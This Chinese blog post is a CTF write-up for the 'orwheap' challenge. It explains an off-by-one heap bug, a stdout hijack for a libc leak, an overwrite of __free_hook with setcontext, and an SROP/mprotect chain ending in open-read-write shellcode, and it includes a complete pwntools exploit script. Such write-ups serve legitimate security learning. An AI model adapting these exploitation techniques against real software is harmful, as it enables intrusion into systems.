orwheap:

作者: cnitlrt | 来源:发表于2020-03-17 23:47 被阅读0次

    这道题做了快两天才搞明白,下面记录一下该题的历程:
    思路:

    没有show因此使用stdout泄露地址,用setcontext来进行srop攻击,使用mprotect函数来改写权限,最后注入shellcode获取flag,因为开了沙箱因此进行orw攻击,下面进行具体实践一下

    放进ida分析一下

    mian:

    main.png

    这个函数开启了沙箱我们用seccomp-tools来看看禁用了什么:

    cnitlrt@cnitlrt-ubuntu16:~/buuctf$ seccomp-tools dump ./orwheap
     line  CODE  JT   JF      K
    =================================
     0000: 0x20 0x00 0x00 0x00000004  A = arch
     0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011
     0002: 0x20 0x00 0x00 0x00000000  A = sys_number
     0003: 0x35 0x07 0x00 0x40000000  if (A >= 0x40000000) goto 0011
     0004: 0x15 0x06 0x00 0x0000003b  if (A == execve) goto 0011
     0005: 0x15 0x00 0x04 0x00000001  if (A != write) goto 0010
     0006: 0x20 0x00 0x00 0x00000024  A = count >> 32 # write(fd, buf, count)
     0007: 0x15 0x00 0x02 0x00000000  if (A != 0x0) goto 0010
     0008: 0x20 0x00 0x00 0x00000020  A = count # write(fd, buf, count)
     0009: 0x15 0x01 0x00 0x00000010  if (A == 0x10) goto 0011
     0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
     0011: 0x06 0x00 0x00 0x00000000  return KILL
    

    可以看到禁用了execve,因此one_gadget和system全部失效因此无法直接getshell只能通过orw来进行攻击

    add:

    add.png

    限制了数量和大小

    off by one:

    vun.png

    这里有一个off by one 漏洞
    edit和free就没什么看的了
    好了分析到此结束,接下来就要知道怎么得到flag:

    First step:

    add(0x68,"\n")#0
    add(0x78,"\n")#1
    add(0x68,(p64(0)+p64(0x21))*6+"\n")#2
    add(0x68,(p64(0)+p64(0x21))*6+"\n")#3
    

    首先我们申请四个块,并在里面伪造块,用来过后面的free的检查
    当前堆布局:

    addr                prev                size                 status              fd                bk                
    0x555555757000      0x0                 0x70                 Used                None              None
    0x555555757070      0x0                 0x80                 Used                None              None
    0x5555557570f0      0x0                 0x70                 Used                None              None
    0x555555757160      0x0                 0x70                 Used  
    

    second step:

    构造overlapchunk:

    free(0)
    add(0x68,0x60*'a'+p64(0)+p8(0x81+0x70)+"\n") #change 1's size
    free(1)  #进unsorted bin
    free(2)   #进fastbin 用于后面的fastbinattrack
    add(0x78,"\n")#1  此时2带有main_arena
    free(0)
    add(0x68,0x60*'a'+p64(0)+p8(0x81+0x20))  #change 1's size
    free(1) #进unsorted 并且2进入smallbin
    add(0x98,"\n")#1   此时1可以控制2的fd和bk
    

    bin:

    fastbins
    0x20: 0x0
    0x30: 0x0
    0x40: 0x0
    0x50: 0x0
    0x60: 0x0
    0x70: 0x5555557570f0 —▸ 0x7ffff7dd1bd8 (main_arena+184) ◂— 0x5555557570f0
    0x80: 0x0
    unsortedbin
    all: 0x0
    smallbins
    0x70: 0x5555557570f0 —▸ 0x7ffff7dd1bd8 (main_arena+184) ◂— 0x5555557570f0
    largebins
    empty
    

    Third Step:

    劫持stdout

    edit(1,p64(0)*15+p64(0x71)+p16(0x2620-0x43))
    add(0x68,"\n")#2
    add(0x68,0x33*'a'+p64(0xfbad1800)+p64(0)*3+"\n")#4
    

    这里我关闭了asrl因此可以清楚的知道stdout的地址,但是如果是远程的话需要爆破,有1/16的可能性

    $2 = {
      file = {
        _flags = 0xfbad1800, 
        _IO_read_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n", 
        _IO_read_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n", 
        _IO_read_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n", 
        _IO_write_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n", 
        _IO_write_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n", 
        _IO_write_end = 0x7ffff7dd26a4 <_IO_2_1_stdout_+132> "", 
        _IO_buf_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n", 
        _IO_buf_end = 0x7ffff7dd26a4 <_IO_2_1_stdout_+132> "", 
        _IO_save_base = 0x0, 
        _IO_backup_base = 0x0, 
        _IO_save_end = 0x0, 
        _markers = 0x0, 
        _chain = 0x7ffff7dd18e0 <_IO_2_1_stdin_>, 
        _fileno = 0x1, 
        _flags2 = 0x0, 
        _old_offset = 0xffffffffffffffff, 
        _cur_column = 0x0, 
        _vtable_offset = 0x0, 
        _shortbuf = "\n", 
        _lock = 0x7ffff7dd3780 <_IO_stdfile_1_lock>, 
        _offset = 0xffffffffffffffff, 
        _codecvt = 0x0, 
        _wide_data = 0x7ffff7dd17a0 <_IO_wide_data_1>, 
        _freeres_list = 0x0, 
        _freeres_buf = 0x0, 
        __pad5 = 0x0, 
        _mode = 0xffffffff, 
        _unused2 = '\000' <repeats 19 times>
      }, 
      vtable = 0x7ffff7dd06e0 <_IO_file_jumps>
    }
    

    可以看到flags的值已经被我们调低,但是有一点一直没有明白,按常理来说应该会把flags后面的值也覆盖掉但是却没有改变,却成功输出了write_base和write_ptr之间的内容

    接下来随便选一个值来获取libc_base就好了
    接下来的一步就是我认为最精妙的地方了,通过1来控制2的size,使他再次进入unsortedbin 中,还记得我们开始的时候将chunk3和chunk4填充的那些数据不,这里就是为了过后面的free的检查

    edit(1,"b"*0x70+p64(0)+p64(0x91))
    free(2)
    

    接下来就是用unsorted bin attrack来在free_hook上方写入数据,然后利用fastbinattrack覆盖free_hook为setcontext来为接下来的srop做铺垫

    edit(1,'a'*0x70+p64(0)+p64(0x91)+p64(0)+p64(free_hook-0x20))
    add(0x88,"\n")
    edit(1,"a"*0x70+p64(0)+p64(0x71))
    free(2)
    edit(1,"a"*0x70+p64(0)+p64(0x71)+p64(free_hook-0x13))
    frame = SigreturnFrame()
    frame.rdi = 0
    frame.rsi = free_hook1
    frame.rdx = 0x2000
    frame.rsp = free_hook1
    frame.rip = syscall
    payload = str(frame)
    add(0x68, payload[0x80:0x80+0x60]+"\n")#2
    add(0x68, '\x00'*3 + p64(libc_base + libc.symbols['setcontext'] + 53) + '\n')#5
    

    然后就是在堆块里构造srop:

    edit(1,payload[:0x98])
    
    0x555555757070: 0x0000000000000000  0x00000000000000a1
    0x555555757080: 0x0000000000000000  0x0000000000000000
    0x555555757090: 0x0000000000000000  0x0000000000000000
    0x5555557570a0: 0x0000000000000000  0x0000000000000000
    0x5555557570b0: 0x0000000000000000  0x0000000000000000
    0x5555557570c0: 0x0000000000000000  0x0000000000000000
    0x5555557570d0: 0x0000000000000000  0x0000000000000000
    0x5555557570e0: 0x0000000000000000  0x0000000000000000
    0x5555557570f0: 0x00007ffff7dd3000  0x0000000000000000
    0x555555757100: 0x0000000000000000  0x0000000000002000
    0x555555757110: 0x0000000000000000  0x0000000000000000
    0x555555757120: 0x00007ffff7dd3000  0x00007ffff7ac9375
    0x555555757130: 0x0000000000000000  0x0000000000000033
    0x555555757140: 0x0000000000000000  0x0000000000000000
    0x555555757150: 0x0000000000000000  0x0000000000000000
    0x555555757160: 0x0000000000000000  0x0000000000000070
    

    因为free_hook已经被劫持成了setcontext了因此我们free堆块1就相当一系列pop,当pop到rip的时候就会执行syscall,从而调用read(0,free_hook1,0x2000),执行完之后会进行ret,ret相当于pop rip因此会将栈顶的数据pop给ip,我们在栈顶构造rop链调用mprotect函数修改free_hook1的页权限,注入shellcode拿到flag

    payload = [pop_rdi,free_hook1,pop_rsi,0x2000,pop_rdx,0x7,pop_rax,10,syscall,0x0000000000002a71+libc_base]
    shellcode = shellcraft.amd64.open('flag')
    shellcode += """
    mov edi, eax
    mov rsi, rsp
    mov edx, 0x100
    xor eax, eax
    syscall
    mov edx, eax
    mov rsi, rsp
    mov edi, 1
    mov eax, edi
    syscall
    """
    p.send(flat(payload)+asm(shellcode))
    

    mprotect的系统调用号是10,改写rwx权限是0x7

    完整exp:

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    import sys
    import os
    from pwn import *
    from LibcSearcher import LibcSearcher
    
    binary = 'orwheap'
    elf = ELF('orwheap')
    libc = elf.libc
    context.log_level = 'debug'
    DEBUG = 1
    if DEBUG:
      p = process(binary)
    else:
      host = ""
      port =  0
      p = remote(host,port)
    context.binary = binary
    l64 = lambda        :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
    l32 = lambda        :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
    sla = lambda a,b    :p.sendlineafter(str(a),str(b))
    sa  = lambda a,b    :p.sendafter(str(a),str(b))
    lg  = lambda name,data : p.success(name + ": 0x%x" % data)
    def add(size,payload):
        p.sendlineafter("Choice: ","1")
        p.sendlineafter("size: ",str(size))
        p.sendafter("content: ",payload)
    def edit(index,payload):
        p.sendlineafter("Choice: ","3")
        p.sendlineafter("idx: ",str(index))
        p.sendafter("content: ",payload)
    def free(index):
        p.sendlineafter("Choice: ","2")
        p.sendlineafter("idx: ",str(index))
    def exp():
        add(0x68,"\n")#0
        add(0x78,"\n")#1
        add(0x68,(p64(0)+p64(0x21))*6+"\n")#2
        add(0x68,(p64(0)+p64(0x21))*6+"\n")#3
        free(0)
        add(0x68,0x60*'a'+p64(0)+p8(0x81+0x70)+"\n")
        free(1)
        free(2)
        add(0x78,"\n")#1
        free(0)
        add(0x68,0x60*'a'+p64(0)+p8(0x81+0x20))
        free(1)
        add(0x98,"\n")#1
        edit(1,p64(0)*15+p64(0x71)+p16(0x2620-0x43))
        add(0x68,"\n")#2
        add(0x68,0x33*'a'+p64(0xfbad1800)+p64(0)*3+"\n")#4
        libc_base = l64()-0x3c5600
        lg("libc_base",libc_base)
        free_hook = libc.symbols["__free_hook"]+libc_base
        lg("free_hook",free_hook)
        free_hook1 = libc.sym["__free_hook"]+libc_base&0xfffffffffffff000
        lg("free_hook1",free_hook1)
        setcontext = libc.sym["setcontext"]+libc_base
        lg("setcontext",setcontext)
        syscall = 0xbc375+libc_base
        lg("syscall",syscall)
        pop_rdi = 0x021102+libc_base
        pop_rsi = 0x00000000000202e8+libc_base
        pop_rdx = libc_base+0x0000000000001b92
        pop_rax = libc_base+0x0000000000033544
        edit(1,"b"*0x70+p64(0)+p64(0x91))
        free(2)
        edit(1,'a'*0x70+p64(0)+p64(0x91)+p64(0)+p64(free_hook-0x20))
        add(0x88,"\n")
        edit(1,"a"*0x70+p64(0)+p64(0x71))
        free(2)
        edit(1,"a"*0x70+p64(0)+p64(0x71)+p64(free_hook-0x13))
        frame = SigreturnFrame()
        frame.rdi = 0
        frame.rsi = free_hook1
        frame.rdx = 0x2000
        frame.rsp = free_hook1
        frame.rip = syscall
        payload = str(frame)
        add(0x68, payload[0x80:0x80+0x60]+"\n")#2
        add(0x68, '\x00'*3 + p64(libc_base + libc.symbols['setcontext'] + 53) + '\n')#5
        edit(1,payload[:0x98])
        free(1)
        payload = [pop_rdi,free_hook1,pop_rsi,0x2000,pop_rdx,0x7,pop_rax,10,syscall,0x0000000000002a71+libc_base]
        shellcode = shellcraft.amd64.open('flag')
        shellcode += """
        mov edi, eax
        mov rsi, rsp
        mov edx, 0x100
        xor eax, eax
        syscall
    
        mov edx, eax
        mov rsi, rsp
        mov edi, 1
        mov eax, edi
        syscall
        """
        p.send(flat(payload)+asm(shellcode))
        p.interactive()
    if __name__ == "__main__":
        exp()
    

    最后效果:

        'flag{1234}'
    flag{1234}[*] Got EOF while reading in interactive
    $  
    

    参考:

    http://blog.eonew.cn/archives/1243
    https://blog.csdn.net/u010334666/article/details/103889663

    相关文章

      网友评论

          本文标题:orwheap:

          本文链接:https://www.haomeiwen.com/subject/jvtjehtx.html